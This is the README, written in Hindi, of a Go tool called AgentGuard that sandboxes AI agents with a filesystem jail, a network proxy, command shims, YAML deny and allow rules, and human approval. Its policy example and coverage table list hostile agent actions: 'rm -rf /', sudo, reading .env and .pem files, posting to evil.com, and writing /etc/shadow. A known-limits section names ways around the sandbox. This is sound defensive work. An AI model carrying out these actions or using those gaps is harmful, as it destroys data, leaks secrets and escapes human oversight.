
शून्य-विश्वास सैंडबॉक्स AI एजेंटों के लिए जिसमें कर्नेल-स्तरीय फाइलसिस्टम जेल, पारदर्शी नेटवर्क प्रॉक्सी, और YAML-आधारित नीति इंजन शामिल है ताकि शेल कमांड, फ़ाइल संचालन, और नेटवर्क अनुरोधों को इंटरसेप्ट और नियंत्रित किया जा सके।
स्वायत्त AI एजेंटों के लिए जीरो-ट्रस्ट सैंडबॉक्स।
AgentGuard किसी भी AI एजेंट (LangChain, CrewAI, AutoGen, कस्टम स्क्रिप्ट) को सुरक्षा रेल्स से लपेटता है। एक कमांड बदलाव:
# पहले (खतरनाक — एजेंट के पास पूर्ण सिस्टम एक्सेस है)
python my_agent.py
# बाद (सैंडबॉक्स में)
agentguard run -- python my_agent.py
AgentGuard एजेंट द्वारा किए गए प्रत्येक शेल कमांड, फ़ाइल संशोधन, और नेटवर्क अनुरोध को रोकता है। सुरक्षित क्रियाएँ स्वचालित रूप से अनुमत होती हैं, खतरनाक क्रियाएँ स्वचालित रूप से अवरुद्ध होती हैं, और बाकी सब कुछ मानवीय अनुमोदन के लिए संकेत देता है।
AgentGuard में चार सुरक्षा परतें हैं जो एक साथ काम करती हैं:
┌─────────────────────────────────────────────────────────────┐
│ Layer 0: फाइलसिस्टम जेल (macOS पर sandbox-exec) │
│ कर्नेल-स्तरीय प्रवर्तन। syscall स्तर पर फ़ाइल लेखन और │
│ नेटवर्क को प्रतिबंधित करता है। एजेंट यूज़रस्पेस से बायपास नहीं कर सकता। │
│ Python के open(), requests.post() आदि को ब्लॉक करता है। │
├─────────────────────────────────────────────────────────────┤
│ Layer 1: नेटवर्क प्रॉक्सी │
│ पारदर्शी HTTP/HTTPS प्रॉक्सी। एजेंट द्वारा किया गया हर │
│ नेटवर्क कॉल नीति के विरुद्ध जाँचा जाता है। प्रति-गंतव्य │
│ TUI में पूर्ण दृश्यता के साथ अनुमति/अस्वीकृति। │
├─────────────────────────────────────────────────────────────┤
│ Layer 2: PATH शिम्स │
│ शेल स्क्रिप्ट शिम्स जो git, pip, curl, rm जैसे कमांड को │
│ रोकते हैं। प्रत्येक शिम वास्तविक बाइनरी चलाने से पहले │
│ डेमॉन से अनुमति माँगता है। │
├─────────────────────────────────────────────────────────────┤
│ Layer 3: नीति इंजन + अनुमोदन डेमॉन │
│ YAML-आधारित नियम हर रोके गए कार्य का मूल्यांकन करते हैं। │
│ सुरक्षित कमांड को स्वचालित रूप से अनुमति दें, खतरनाक │
│ को स्वचालित रूप से ब्लॉक करें, बाकी सब के लिए मानव को │
│ संकेत दें। │
└─────────────────────────────────────────────────────────────┘
कोई भी एकल परत सुरक्षा सीमा नहीं है। वे एक साथ काम करती हैं — गहराई में रक्षा।
go build -o agentguard ./cmd/agentguard/
go build -o agentguard-check ./cmd/agentguard-check/
दोनों बाइनरी एक ही निर्देशिका में होनी चाहिए।
agentguard init
यह वर्तमान निर्देशिका में .agentguard/policy.yaml बनाता है। इसे अपनी आवश्यकताओं के अनुसार संपादित करें।
agentguard run -- python my_agent.py
TUI टर्मिनल ले लेता है और दिखाता है:
Claude Code जैसे इंटरैक्टिव टूल के लिए जिन्हें टर्मिनल की आवश्यकता है:
agentguard run --headless -- claude
एजेंट को सीधे टर्मिनल मिलता है। AgentGuard पृष्ठभूमि में चुपचाप चलता है। सभी घटनाएँ ~/.agentguard/logs/headless.log में लॉग होती हैं। दूसरे टर्मिनल में मॉनिटर करें:
tail -f ~/.agentguard/logs/headless.log
agentguard run [flags] -- <command> [args...]
--policy <path> एक विशिष्ट नीति फ़ाइल का उपयोग करें
--headless कोई TUI नहीं — एजेंट को टर्मिनल मिलता है
--default-allow हेडलेस मोड में PROMPT निर्णयों को स्वचालित रूप से अनुमति दें (डिफ़ॉल्ट: auto-deny)
--no-sandbox sandbox-exec अक्षम करें (शिम्स और प्रॉक्सी अभी भी सक्रिय)
agentguard init डिफ़ॉल्ट नीति फ़ाइल बनाएँ
agentguard version संस्करण प्रिंट करें
नीतियाँ YAML फ़ाइलें हैं जो परिभाषित करती हैं कि एजेंट क्या कर सकता है और क्या नहीं। AgentGuard तीन स्थानों की जाँच करता है (क्रम में):
./.agentguard/policy.yaml (परियोजना-स्थानीय)~/.agentguard/policy.yaml (उपयोगकर्ता वैश्विक)version: 1
deny:
# खतरनाक कमांड को ब्लॉक करें
- command: "rm"
args: "-rf *"
reason: "पुनरावर्ती बलपूर्वक हटाना बहुत खतरनाक है"
- command: "sudo"
args: "*"
reason: "विशेषाधिकार वृद्धि की अनुमति नहीं है"
- command: "chmod"
args: "777 *"
reason: "विश्व-लेखनीय अनुमतियाँ खतरनाक हैं"
# संवेदनशील फ़ाइलों को पढ़ना ब्लॉक करें (sandbox-exec द्वारा प्रवर्तित)
- file:
path: "*.env"
action: "read"
reason: "एजेंट को .env फ़ाइलें पढ़ने न दें"
- file:
path: "*.pem"
action: "read"
reason: "एजेंट को निजी कुंजियाँ पढ़ने न दें"
allow:
# सुरक्षित केवल-पढ़ने वाले कमांड
- command: "ls"
- command: "cat"
- command: "pwd"
- command: "echo"
- command: "grep"
- command: "head"
- command: "tail"
- command: "wc"
# केवल-पढ़ने वाला git
- command: "git"
args: "status"
- command: "git"
args: "log *"
- command: "git"
args: "diff *"
# कार्यक्षेत्र में लिखने की अनुमति दें
- file:
path: "/tmp/workspace/**"
action: "write"
# विशिष्ट API एंडपॉइंट की अनुमति दें
- network:
destination: "api.anthropic.com:443"
- network:
destination: "api.github.com:443"
deny network *) — तीसरे जाँचे जाते हैं। डिफ़ॉल्ट अस्वीकृति के रूप में कार्य करते हैं।कमांड नियम — नाम और तर्क पैटर्न द्वारा शेल कमांड से मेल खाते हैं:
- command: "git"
args: "push *"
reason: "पुश करने के लिए अनुमोदन आवश्यक है"
फ़ाइल नियम — फ़ाइल संचालन से मेल खाते हैं (sandbox-exec द्वारा प्रवर्तित):
- file:
path: "*.env"
action: "read" # "read" या "write"
reason: "गोपनीय जानकारी सुरक्षित रखें"
नेटवर्क नियम — नेटवर्क गंतव्यों से मेल खाते हैं (प्रॉक्सी + sandbox-exec द्वारा प्रवर्तित):
- network:
destination: "api.anthropic.com:443"
कमांड तर्कों, फ़ाइल पथों और नेटवर्क गंतव्यों में वाइल्डकार्ड के रूप में * का उपयोग करें।
agentguard/
├── cmd/
│ ├── agentguard/ # मुख्य CLI बाइनरी
│ └── agentguard-check/ # शिम सहायक बाइनरी
├── internal/
│ ├── policy/ # नीति इंजन (YAML पार्सिंग, नियम मूल्यांकन)
│ ├── events/ # घटना प्रणाली (JSONL ऑडिट लॉग, प्रकाशन/सदस्यता)
│ ├── daemon/ # केंद्रीय डेमॉन (Unix सॉकेट, अनुमोदन कतार)
│ │ └── client/ # शिम्स के लिए क्लाइंट लाइब्रेरी
│ ├── shim/ # शिम जनरेटर (PATH-आधारित अवरोधन)
│ ├── proxy/ # पारदर्शी नेटवर्क प्रॉक्सी
│ ├── spawner/ # ऑर्केस्ट्रेशन + macOS सैंडबॉक्स एकीकरण
│ └── ui/tui/ # टर्मिनल UI (Bubble Tea)
├── configs/
│ └── default_policy.yaml # संदर्भ नीति फ़ाइल
├── .gitignore
├── go.mod
├── LICENSE
└── README.md
प्रत्येक रोका गया कार्य ~/.agentguard/logs/YYYY-MM-DD.jsonl में लॉग किया जाता है:
{"id":"a1b2c3","timestamp":"2026-03-22T14:30:00Z","session_id":"abc123","source":"shim","command":"git","args":["push","origin","main"],"decision":"deny","decided_by":"human","response_time_ms":3200}
{"id":"d4e5f6","timestamp":"2026-03-22T14:30:01Z","session_id":"abc123","source":"proxy","network_dst":"api.anthropic.com:443","decision":"allow","decided_by":"policy"}
मानक उपकरणों से क्वेरी करें:
# आज की सभी अस्वीकृत कार्रवाइयाँ
cat ~/.agentguard/logs/2026-03-22.jsonl | jq 'select(.decision == "deny")'
# सभी नेटवर्क अनुरोध
cat ~/.agentguard/logs/2026-03-22.jsonl | jq 'select(.source == "proxy")'
# वे कमांड जिनमें मानवीय अनुमोदन आवश्यक था
cat ~/.agentguard/logs/2026-03-22.jsonl | jq 'select(.decided_by == "human")'
खतरा मॉडल: एजेंट अविश्वसनीय है। यह प्रयास कर सकता है:
rm -rf /, sudo).env, निजी कुंजियाँ)AgentGuard क्या रोकता है:
.env, .pem, आदि) के लिए फ़ाइल पढ़ने से इनकार किया जा सकता हैfilepath.Clean द्वारा रोका जाता हैAgentGuard क्या नहीं रोकता (ज्ञात सीमाएँ):
ctypes/cffi के माध्यम से रॉ syscalls (macOS पर sandbox-exec इन्हें भी ब्लॉक करता है)api.anthropic.com की अनुमति देते हैं, तो एजेंट वहाँ डेटा भेज सकता है)go test ./... -race
परियोजना में 140+ परीक्षण हैं जो कवर करते हैं:
jail_darwin.go — macOS sandbox-exec (केवल macOS पर संकलित)jail_noop.go — फ़ॉलबैक केवल-शिम मोड (Linux/Windows पर संकलित)sandbox_monitor_darwin.go — सैंडबॉक्स उल्लंघनों के लिए macOS सिस्टम लॉग टेलिंगsandbox_monitor_noop.go — गैर-macOS प्लेटफ़ॉर्म पर कोई-संचालन नहींदेखें LICENSE।
| कुंजी | कार्य | कब |
|---|
Y | लंबित अनुरोध की अनुमति दें | अनुमोदन संकेत दृश्यमान |
N | लंबित अनुरोध को अस्वीकार करें | अनुमोदन संकेत दृश्यमान |
A | अनुमति दें + इस सत्र के लिए याद रखें ("हमेशा अनुमति दें") | अनुमोदन संकेत दृश्यमान |
B | अस्वीकार करें + इस सत्र के लिए याद रखें ("हमेशा ब्लॉक करें") | अनुमोदन संकेत दृश्यमान |
Tab | एजेंट का stdout/stderr पैनल टॉगल करें | हमेशा |
Up/Down | गतिविधि स्ट्रीम स्क्रॉल करें | हमेशा |
Q | बाहर निकलें (एजेंट को मारता है) | हमेशा |
| एजेंट कार्य | शिम्स | प्रॉक्सी | sandbox-exec |
|---|
subprocess.run(["rm", "-rf", "/"]) | हाँ | - | - |
subprocess.run(["git", "push"]) | हाँ | - | - |
requests.post("https://evil.com") | - | हाँ | हाँ |
urllib.request.urlopen("https://api.com") | - | हाँ | हाँ |
open(".env", "r") | - | - | हाँ |
open("/etc/shadow", "w") | - | - | हाँ |
/usr/bin/curl https://evil.com (पूर्ण पथ) | - | हाँ | हाँ |
| घटक | पैकेज | उद्देश्य |
|---|
| नीति इंजन | internal/policy | YAML नियमों को पार्स करता है, अनुरोधों का मूल्यांकन करता है → ALLOW / DENY / PROMPT |
| घटना प्रणाली | internal/events | केवल-जोड़ JSONL ऑडिट लॉग + TUI के लिए रीयल-टाइम प्रकाशन/सदस्यता |
| डेमॉन | internal/daemon | Unix सॉकेट सर्वर, टाइमआउट के साथ अनुमोदन कतार, सत्र प्रबंधन |
| TUI | internal/ui/tui | Bubble Tea टर्मिनल UI गतिविधि स्ट्रीम और अनुमोदन मोडल के साथ |
| शिम जनरेटर | internal/shim | शेल स्क्रिप्ट शिम्स उत्पन्न करता है, वास्तविक बाइनरी पथ हल करता है |
| नेटवर्क प्रॉक्सी | internal/proxy | पारदर्शी HTTP/HTTPS प्रॉक्सी प्रति-गंतव्य नीति लागू करती है |
| स्पॉनर | internal/spawner | सब कुछ ऑर्केस्ट्रेट करता है: नीति → डेमॉन → शिम्स → प्रॉक्सी → सैंडबॉक्स → एजेंट → TUI |
| macOS सैंडबॉक्स | internal/spawner/jail_darwin.go | कर्नेल-स्तरीय प्रवर्तन के लिए Seatbelt प्रोफाइल के साथ sandbox-exec |
| प्लेटफ़ॉर्म | शिम्स | प्रॉक्सी | sandbox-exec | फ़ाइल पढ़ने से इनकार |
|---|
| macOS (Apple Silicon) | हाँ | हाँ | हाँ | हाँ |
| macOS (Intel) | हाँ | हाँ | हाँ | हाँ |
| Linux | हाँ | हाँ | नहीं (भविष्य: namespaces + seccomp) | नहीं |
| Windows | हाँ | हाँ | नहीं (भविष्य: Job Objects) | नहीं |